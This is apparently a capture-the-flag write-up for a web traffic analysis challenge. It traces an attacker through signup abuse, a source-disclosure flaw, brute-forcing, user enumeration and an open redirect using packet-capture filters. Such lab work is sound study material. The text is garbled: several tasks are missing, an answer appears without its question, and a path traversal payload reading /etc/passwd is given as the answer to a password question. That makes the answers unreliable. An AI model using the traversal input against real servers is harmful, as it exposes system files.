Malicious Web Traffic Analysis Challenge

During a cybersecurity investigation, analysts have noticed unusual traffic patterns that may indicate a problem. We need your help finding out what's happening, so give us all the details

What is the IP address of the web server?

I checked the Conversation and filtered by Packets

Task 2:

What is the IP address of the attacker?

Same as task 1

Task 3:

The attacker first tried to sign up on the website, however, he found a vulnerability that he could read the source code with. What is the name of the vulnerability?

I found a strange payload inside the POST /register.php and followed the TCP stream

Same like task 4 in the decode

Answer: admin

Task 6:

The attacker tried to brute-force the password of the possible username that he found. What is the password of that user?

I filtered for the attacker IP and http and scrolled down the packets until I saw the brute force attempts stopped and a successful login was occurred.

Answer: ../../../../../../../../../../../etc/passwd

Task 8: The attacker was able to view all the users on the server. What is the last user that was created on the server?

From same packet in task 7, I followed the HTTP stream

</body>
</html>

Answer: a1l4mFTW

Task 9:

The attacker also found an open redirect vulnerability. What is the URL the attacker tested the

I searched for ip.src == 197.32.212.121 && http and scrolled down until I found a redirect to another URL
